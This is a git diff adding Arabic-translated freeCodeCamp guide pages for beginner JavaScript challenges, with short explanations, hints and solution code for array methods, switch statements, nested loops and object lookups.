+تسمح لك طريقة `push()` بإلحاق (إضافة إلى النهاية) عنصر إلى مصفوفة. مثل ذلك…
+
+ `var arr = [1, 2, 3, 4]; 
+ arr.push(5); // Now, the array is [1, 2, 3, 4, 5] 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md
new file mode 100644
index 0000000000..fbc81ea32d
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md
@@ -0,0 +1,11 @@
+---
+title: Manipulate Arrays With shift()
+localeTitle: التعامل مع صفائف مع shift ()
+---
+## التعامل مع صفائف مع shift ()
+
+بينما تم استخدام `pop()` للتخلص من العنصر الأخير من صفيف ، يتم استخدام `shift()` للتخلص من العنصر الأول. إنها تشبه أنك تقوم بتحويل العناصر إلى موضع واحد. تحقق من هذا:
+
+ `var arr = [1, 2, 3, 4, 5]; 
+ arr.shift(); // Gets rid of the 1 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md
new file mode 100644
index 0000000000..dc0908d928
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md
@@ -0,0 +1,11 @@
+---
+title: Manipulate Arrays With unshift()
+localeTitle: معالجة صفائف مع unshift ()
+---
+## معالجة صفائف مع unshift ()
+
+بينما `push()` إضافة عناصر إلى الجزء الخلفي من المصفوفة ، يضيف `unshift()` إلى الأمام. كل ما عليك القيام به هو:
+
+ `var arr = [2, 3, 4, 5]; 
+ arr.unshift(1); // Now, the array has 1 in the front 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md
new file mode 100644
index 0000000000..a8ad5c607b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md
@@ -0,0 +1,67 @@
+---
+title: Manipulating Complex Objects
+localeTitle: معالجة الكائنات المعقدة
+---
+## معالجة الكائنات المعقدة
+
+هنا هو المثال:
+
+ `var myMusic = [ 
+  { 
+    "artist": "Billy Joel", 
+    "title": "Piano Man", 
+    "release_year": 1973, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+  // Add record here 
+ ]; 
+` 
+
+وإليك الحل: بعد السلسلة `// Add record here` نقوم بإضافة ألبوم جديد إلى `myMusic` . أنت في حاجة للبدء من `,` . ويمكنك فقط نسخ ألبوم تم إنشاؤه بالفعل: `javascript { "artist": "Billy Joel", "title": "Piano Man", "release_year": 1973, "formats": [ "CD", "8T", "LP" ], "gold": true }`
+
+ولصق بعد `,` :
+
+ `  // Add record here 
+  , 
+  { 
+    "artist": "Billy Joel", 
+    "title": "Piano Man", 
+    "release_year": 1973, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+ ]; 
+` 
+
+الآن ، يمكنك تغيير قيم ألبومك:
+
+ `  // Add record here 
+  , 
+  { 
+    "artist": "Deep Purple", 
+    "title": "Smoke on the water", 
+    "release_year": 1976, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+ ]; 
+` 
+
+وإليك الحل الكامل:
+
+\`\` \`جافا سكريبت var myMusic = \[ { "الفنان": "بيلي جويل" ، "title": "Piano Man" ، " _سنة_ الإصدار _": 1973 ، "التنسيقات": \[ "CD"، "8T" "LP" \]، "الذهب": صحيح }، // أضف سجل هنا { "الفنان": "Deep Purple" ، "العنوان": "دخان على الماء" ، "_ سنة _الإصدار_ ": 1976 ، "التنسيقات": \[ "CD"، "8T" "LP" \]، } \].
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md
new file mode 100644
index 0000000000..e20353f54b
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md
@@ -0,0 +1,15 @@
+---
+title: Modify Array Data With Indexes
+localeTitle: تعديل صفيف البيانات مع فهارس
+---
+## تعديل صفيف البيانات مع فهارس
+
+الوصول إلى موضع الصفيف ، وتغييره ، مثل:
+
+ `var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr[0] = 6; // Now, the array is [6, 2, 3, 4, 5] 
+ arr[4] = 10 // Now, the array is [6, 2, 3, 4, 10] 
+` 
+
+المفهوم المهم هنا هو أن المصفوفات **قابلة للتغيير** . هذا يعني أنه يمكن تغييرها بسهولة.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md
new file mode 100644
index 0000000000..fea609e7d8
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md
@@ -0,0 +1,93 @@
+---
+title: Multiple Identical Options in Switch Statements
+localeTitle: خيارات متعددة مماثلة في بيانات التبديل
+---
+## خيارات متعددة مماثلة في بيانات التبديل
+
+### شرح المشكلة
+
+_إذا تم حذف بيان الفاصل من حالة عبارة التبديل ، يتم تنفيذ العبارة (الحالات) التالية إلى أن تتم مصادفة فاصل. إذا كان لديك مدخلات متعددة بنفس المخرجات ، فيمكنك تمثيلها في بيان تبديل مثل هذا:_
+
+ `switch(val) { 
+  case 1: 
+  case 2: 
+  case 3: 
+    result = "1, 2, or 3"; 
+    break; 
+  case 4: 
+    result = "4 alone"; 
+ } 
+` 
+
+_الحالات 1 و 2 و 3 ستنتج نفس النتيجة._
+
+_اكتب عبارة تبديل لتعيين الإجابة للنطاقات التالية:_ `1-3` - "منخفض"  
+`4-6` - "منتصف"  
+`7-9` - "عالية"
+
+_ملحوظة: ستحتاج إلى بيان حالة لكل رقم في النطاق._
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز:
+
+ `function sequentialSizes(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val) { 
+    case 1: 
+    case 2: 
+    case 3: 
+      return "Low"; 
+      break; 
+    case 4: 
+    case 5: 
+    case 6: 
+      return "Mid"; 
+      break; 
+    case 7: 
+    case 8: 
+    case 9: 
+      return "High"; 
+      break; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ sequentialSizes(1); 
+` 
+
+## حل رمز بديل:
+
+ `function sequentialSizes(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val){ 
+    case 1: case 2: case 3: 
+      answer = "Low"; 
+      break; 
+    case 4: case 5: case 6: 
+      answer = "Mid"; 
+      break; 
+    case 7: case 8: case 9: 
+      answer = "High"; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ sequentialSizes(1); 
+` 
+
+تشغيل الكود في [repl.it.](https://repl.it/@AdrianSkar/Basic-JS-Multiple-opts-in-switch)
+
+### تفسير الشفرة
+
+نظرًا لأن لديك بالفعل متغيرًا مسمى `answer` المحددة وتقوم الدالة بإرجاعه ، فيمكنك فقط تعديل قيمته على كل مجموعة من عبارات الحالة لتتوافق مع متطلبات التمرين.
+
+### مصادر
+
+*   ["التبديل: طرق للحالة متعددة المعايير" - _مرجع Javascript لـ MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md
new file mode 100644
index 0000000000..810e6ecb36
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Multiply Two Decimals with JavaScript
+localeTitle: ضرب اثنين من الكسور العشرية مع جافا سكريبت
+---
+## ضرب اثنين من الكسور العشرية مع جافا سكريبت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..1a1c1567bf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md
@@ -0,0 +1,10 @@
+---
+title: Multiply Two Numbers with JavaScript
+localeTitle: اضرب رقمين مع جافا سكريبت
+---
+# اضرب رقمين مع جافا سكريبت
+
+تستخدم JavaScript الرمز `*` للضرب.
+
+ `var product = 8 * 10; //product gets the value 80 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md
new file mode 100644
index 0000000000..46a83c72eb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md
@@ -0,0 +1,12 @@
+---
+title: Nest one Array within Another Array
+localeTitle: عش صف واحد داخل صفيف آخر
+---
+## عش صف واحد داخل صفيف آخر
+
+المصفوفات هي أحادية البعد؛ هذا يعني أنه يتم تخزين صف واحد فقط من البيانات. ولكن يمكنك إنشاء صفيف متعدد الأبعاد عن طريق وضع المصفوفات داخل المصفوفات! مثل ذلك:
+
+ `var arr = [["Two-dimensional", 2], ["Two rows", 12]]; 
+` 
+
+الصفيف أعلاه له بعدان.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md
new file mode 100644
index 0000000000..a7704434fb
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md
@@ -0,0 +1,91 @@
+---
+title: Nesting For Loops
+localeTitle: التعشيش للحلقات
+---
+## التعشيش للحلقات
+
+**تذكر استخدام Read-Search-Ask إذا واجهتك مشكلة. محاولة إقران البرنامج: التمثال النصفي _في_ صورة ظلية: وكتابة الرمز الخاص بك: قلم رصاص:**
+
+: checkered\_flag: **مشكلة التفسير:**
+
+إذا كان لديك صفيف متعدد الأبعاد ، فيمكنك استخدام نفس المنطق الذي تستخدمه نقطة الاتصال السابقة لتكرار الحلقات من خلال الصفيف وأية صفيف فرعي.
+
+هنا مثال:
+
+ `var arr = [ 
+  [1,2], [3,4], [5,6] 
+ ]; 
+ for (var i=0; i < arr.length; i++) { 
+  for (var j=0; j < arr[i].length; j++) { 
+    console.log(arr[i][j]); 
+  } 
+ } 
+` 
+
+هذا إخراج كل عنصر فرعي في `arr` واحد في كل مرة. لاحظ أنه بالنسبة للحلقة الداخلية ، فإننا نتحقق من طول arr \[i\] ، لأن arr \[i\] هو نفسه مصفوفة.
+
+*   تعديل الدالة `multiplyAll` بحيث تضاعف متغير `product` قبل كل رقم في sub-arrays of `arr` .
+*   تأكد من تداخل الثانية للحلقة داخل الأول.
+
+**روابط ذات صلة**
+
+*   [عش صف واحد داخل صفيف آخر](https://guide.freecodecamp.org/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array)
+*   [تكررت من خلال صفيف مع ل حلقة](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop)
+*   [الوصول إلى صفائف متداخلة](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/accessing-nested-arrays)
+
+: speech\_balloon: تلميح: 1
+
+تأكد من التحقق مع `length` وليس الصفيف العام.
+
+_حاول أن تحل المشكلة الآن_
+
+: speech\_balloon: تلميح 2
+
+استخدم كل من `i` و `j` عند ضرب المنتج.
+
+_حاول أن تحل المشكلة الآن_
+
+: speech\_balloon: تلميح 3
+
+تذكر استخدام `arr[i]` عند ضرب المصفوفات الفرعية بمتغير `product` .
+
+_حاول أن تحل المشكلة الآن_
+
+_تنبيه المفسد!_ ![](https://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل قبل**
+
+: مبتدئ: **حل الرمز الأساسي:**
+
+ `function multiplyAll(arr) { 
+  var product = 1; 
+  // Only change code below this line 
+  for(var i=0; i < arr.length; i++){ 
+    for (var j=0; j < arr[i].length; j++){ 
+      product = product * arr[i][j]; 
+    } 
+  } 
+  // Only change code above this line 
+  return product; 
+ } 
+ 
+ // Modify values below to test your code 
+ multiplyAll([[1,2],[3,4],[5,6,7]]); 
+` 
+
+: صاروخ: **[تشغيل التعليمات البرمجية](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/)**
+
+**شرح الشفرة:**
+
+*   نتحقق من طول `arr` في `i` for loop و `arr[i]` length في الحلقة `j` for loop.
+*   نضرب متغير `product` حد ذاته لأنه يساوي 1 ، ومن ثم نضربه بواسطة المصفوفات الفرعية.
+*   والصفحتان الفرعيتان `arr[i]` هما `arr[i]` و `j` .
+
+: الحافظة: **ملاحظات للمساهمات:**
+
+*   : تحذير: **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها مشابهة ولكن أفضل ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - الأساسي والمتوسط ​​والمتقدم. : traffic\_light:
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي محتويات رئيسية ذات صلة. (: تحذير: _**لا تقم**_ بإزالة أي أسماء مستخدمين موجودة)
+
+انظر: point\_right: [Wiki Challenge Solution Template](http://forum.freecodecamp.com/t/algorithm-article-template/14272) كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md
new file mode 100644
index 0000000000..0bd90981f6
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/passing-values-to-functions-with-arguments/index.md
@@ -0,0 +1,18 @@
+---
+title: Passing Values to Functions with Arguments
+localeTitle: تمرير القيم إلى دالات مع الوسيطات
+---
+## تمرير القيم إلى دالات مع الوسيطات
+
+مهمتنا هي إنشاء وظيفة لديها **معلمات** . هذه هي المدخلات التي تحدد إخراج الدالة. تضع المتابعين داخل `()` ، مثل:
+
+ `function functionWithArgs(one, two) { 
+  console.log(one + two); 
+ } 
+` 
+
+لدينا الآن لإضافة رمز داخل الأقواس. مهمتنا هي إضافة `one` `two` ، وطباعة المجموع إلى وحدة التحكم. هنا هو الحل الأساسي رمز:
+
+ `functionWithArgs(7, 3); 
+ //This will console log 10. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md
new file mode 100644
index 0000000000..89c3593bf5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/practice-comparing-different-values/index.md
@@ -0,0 +1,45 @@
+---
+title: Practice comparing different values
+localeTitle: ممارسة مقارنة قيم مختلفة
+---
+## ممارسة مقارنة قيم مختلفة
+
+### شرح المشكلة:
+
+_تعديل الوظيفة بحيث ترجع "المساواة" فقط عندما تكون القيم متساوية **تماما** ._
+
+#### تلميح 1
+
+تذكر من التدريبات الأخيرة أنه _بخلاف مشغل المساواة ، الذي يحاول تحويل كلتا القيمتين مقارنة بالنوع الشائع ، فإن مشغل المساواة الصارم لا يقوم بتحويل نوع._ [1](#cite1)
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+**الحل في المستقبل!**
+
+## حل الرمز الأساسي:
+
+ `// Setup 
+ function compareEquality(a, b) { 
+    if (a === b) { // Change this line 
+        return  "Equal"; 
+    } 
+    return  "Not Equal"; 
+ } 
+ 
+ // Change this value to test 
+ compareEquality(10, "10"); 
+` 
+
+### تفسير الشفرة
+
+تقوم الدالة أولاً بتقييم `if` الشرط `(a === b)` تقييمه إلى الحالة `true` نظرًا إلى كل من النوع والقيمة. إذا كان كذلك ، فإنها ترجع العبارة بين الأقواس المتعرجة ("مساواة"). إذا لم يكن الأمر كذلك ، فإنه يُرجع بيان `return` التالي خارجها ("لا يساوي").
+
+### مصادر
+
+1 . ["جافا سكريبت الأساسي: مقارنة مع مشغل المساواة الصارمة" ، درس لجنة الاتصالات الفيدرالية في _خوارزميات جافا سكريبت وشهادات البيانات_](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator)
+
+### مصادر
+
+*   ["استخدام عوامل التشغيل _المتساوية_ " - _مرجع JavaScript الخاص بـ MDN_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md
new file mode 100644
index 0000000000..80c38afced
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/profile-lookup/index.md
@@ -0,0 +1,96 @@
+---
+title: Profile Lookup
+localeTitle: بحث الملف الشخصي
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+لدينا مجموعة من الكائنات التي تمثل أشخاصًا مختلفين في قوائم جهات الاتصال الخاصة بنا.
+
+`lookUpProfile()` التي تأخذ **الاسم الأول** و خاصية ( **prop** ) **كوسائط** قد تمت كتابتها مسبقًا نيابة عنك.
+
+يجب التحقق من الوظيفة إذا كان **الاسم الأول** هو **الاسم الأول** جهة اتصال الفعلي وممتلكات معينة **(دعم)** هو خاصية من هذا الاسم.
+
+إذا كان كلاهما صحيحًا ، فأعد _قيمة_ هذه الخاصية.
+
+إذا كان **الاسم الأول** لا يتوافق مع أي جهات اتصال ، فعندئذ `No such contact` ترجع `No such contact` .
+
+إذا كان **البروب** لا يتوافق مع أي خصائص صالحة ، فعندئذ `No such property` ترجع `No such property` .
+
+*   تغيير الرمز أدناه `// Only change code below this line` وحتى `// Only change code above this line` .
+*   تأكد من أنك تقوم بتحرير داخل وظيفة `lookUpProfile()` .
+    *   تتضمن هذه الوظيفة معلمتين ، **firstName** و **prop** .
+*   يجب أن تبحث الدالة من خلال قائمة **جهات الاتصال** لمعلمة **firstName** المحددة.
+    *   في حالة وجود تطابق موجود ، يجب أن تبحث الدالة عن معلمة **prop** المقدمة.
+    *   إذا تم **العثور على** كل من **firstName** و **prop** المقترن ، يجب عليك إرجاع قيمة **prop** .
+    *   إذا تم العثور على **firstName ولم** يتم العثور على **دعم** مقترن ، يجب عليك إرجاع `No such property` .
+*   إذا لم يتم العثور على **الاسم الأول** في أي مكان، يجب أن تعيد `No such contact` .
+
+#### روابط ذات صلة
+
+*   [التحدي: الوصول إلى خصائص الكائنات مع تدرج قوس](http://www.freecodecamp.com/challenges/accessing-objects-properties-with-bracket-notation)
+*   [التحدي: تكرار مع JavaScript For Loops](http://www.freecodecamp.com/challenges/iterate-with-javascript-for-loops)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+استخدم حلقة `for` للتنقل بين قائمة **جهات الاتصال** .
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+استخدام متداخلة `if` تصريح لالاختيار أولا إذا يطابق **الاسم الأول،** ومن ثم يتحقق `if` المباريات **دعامة.**
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
+ترك لكم `return "No such contact"` من `for` حلقة كما التقاط كل النهائي.
+
+> _حاول أن تحل المشكلة الآن_
+
+## تنبيه المفسد!
+
+![علامة تحذير](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**الحل في المستقبل!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":مبتدئ:") الحل الأساسي للكود:
+
+ `for (var x = 0; x < contacts.length; x++){ 
+    if (contacts[x].firstName === name) { 
+        if (contacts[x].hasOwnProperty(prop)) { 
+            return contacts[x][prop]; 
+        } else { 
+            return "No such property"; 
+        } 
+    } 
+ } 
+ return "No such contact"; 
+` 
+
+### شرح الشفرة:
+
+*   و `for` حلقة يدير، ابتداء من الساعة الكائن الأول في قائمة **الأسماء.**
+*   إذا **تطابق** المعلمة **firstName** تمريرها في الدالة قيمة المفتاح `"firstName"` في الكائن الأول ، تمرير عبارة `if` .
+*   ثم ، نستخدم `.hasOwnProperty()` طريقة (يتحقق إذا كان هناك خاصية معينة وترجع قيمة منطقية) **بالدعم** كوسيطة. إذا كان صحيحًا ، يتم إرجاع قيمة **الداعم** .
+    *   في `if` فشل العبارة الثانية في `if` عدم إرجاع `No such property` .
+*   في `if` فشل العبارة الأولى في `if` استمرار حلقة `for` إلى الكائن التالي في قائمة **جهات الاتصال** .
+*   إذا لم تطابق المعلمة **الاسم الأول** من قبل **الاتصالات** النهائية الاعتراض، و `for` مخارج حلقة و `No such contact` يتم إرجاعها.
+
+**مثال تشغيل**
+
+*   `lookUpProfile("Akira","likes");` أشواط.
+*   تتم مطابقة `"Akira"` مع المفتاح `"firstName"` في الكائن الأول ، لذا فإن العبارة `if` ترجع true.
+*   تم العثور على `"likes"` داخل الكائن الأول ، لذا فإن العبارة الثانية `if` صحيحة.
+*   يتم إرجاع قيمة `"likes"` - `"Pizza", "Coding", "Brownie Points"` .
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ": الحافظة:") ملاحظات للمساهمات:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **لا تقم** بإضافة حلول مشابهة لأي حلول موجودة. إذا كنت تعتقد أنها **_مشابهة ولكن أفضل_** ، فحاول دمج (أو استبدال) الحل المشابه الموجود.
+*   أضف شرحًا لحلك.
+*   تصنيف الحل في واحدة من الفئات التالية - **الأساسي** **والمتوسط** **والمتقدم** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ": traffic_light:")
+*   الرجاء إضافة اسم المستخدم الخاص بك فقط إذا قمت بإضافة أي **محتويات رئيسية ذات صلة** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":تحذير:") **_لا_** _تزيل أي أسماء مستخدمين حالية_ )
+
+> نرى ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") **`Wiki Challenge Solution Template`** كمرجع.
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md
new file mode 100644
index 0000000000..43121e89a3
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md
@@ -0,0 +1,9 @@
+---
+title: Quoting Strings with Single Quotes
+localeTitle: اقتباس السلاسل مع علامات اقتباس مفردة
+---
+## اقتباس السلاسل مع علامات اقتباس مفردة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/quoting-strings-with-single-quotes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md
new file mode 100644
index 0000000000..70eb75656c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/javascript-algorithms-and-data-structures/basic-javascript/record-collection/index.md
@@ -0,0 +1,97 @@
+---
+title: Record Collection
+localeTitle: جمع السجلات
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 ": triangular_flag_on_post:") تذكر استخدام **`Read-Search-Ask`** إذا واجهتك مشكلة. حاول إقران البرنامج ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") واكتب الكود الخاص بك ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":قلم:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ":العلم متقلب:") شرح المشكلة:
+
+يتم منحك كائن JSON يمثل (جزء صغير من) مجموعة السجلات الخاصة بك. يتم تحديد كل ألبوم بواسطة رقم تعريف فريد وله العديد من الخصائص. ليست جميع الألبومات تحتوي على معلومات كاملة.
+
+اكتب الدالة التي تأخذ **هوية** ، خاصية ( **دعم** ) ، **وقيمة** .
+
+**للمعرف** المحدد في **المجموعة** :
+
+إذا كانت **القيمة** غير فارغة ( **value! == ""** ) ، فقم بتحديث أو تعيين **قيمة** **prop** .
+
+إذا كان **البروب** **"مسارات"** وكانت **القيمة** غير فارغة ، فتحقق مما إذا كان العنصر المحدد في الصفيف له خاصية "المسارات". إذا كان للعنصر خاصية "المسارات" ، فاضغط **القيمة** على نهاية صفيف "المسارات". إذا كان العنصر لا يحتوي على **الخاصية** ، قم بإنشاء زوج الخاصية والقيمة.
+
+إذا كانت **القيمة** فارغة ، **فاحذفها** .
+
+قم دائمًا بإرجاع كائن المجموعة بالكامل.
+
+*   تغيير الرمز أدناه `// Only change code below this line` وحتى \\ `// Alter values below to test your code` .
+*   لاحظ أن تقوم بتحرير داخل وظيفة `updateRecords` .
+*   بالنسبة لمعلمة **المعرّف** المحددة ، والمرتبطة بكائن **المجموعة** :
+    *   إذا كانت معلمة **value** ليست سلسلة فارغة ، قم بتحديث (أو تعيين) معلمة **value** لمعلمة **prop** .
+    *   إذا كانت معلمة **prop** تساوي `"tracks"` ولا تكون **القيمة** سلسلة فارغة ، فاضغط **القيمة** على نهاية صفيف **المسارات** .
+    *   إذا كانت **القيمة** هي سلسلة فارغة، حذف تلك **دعامة** من الكائن.
+*   وأخيراً ، قم بإرجاع كائن **المجموعة** .
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 1
+
+استخدم عبارة `else if` للتحقق من الخطوات المطلوبة.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 2
+
+الخطوة الثانية المذكورة في التعليمات يجب أن تكون الأولى في حياتك `else if` البيان.
+
+> _حاول أن تحل المشكلة الآن_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") تلميح: 3
+
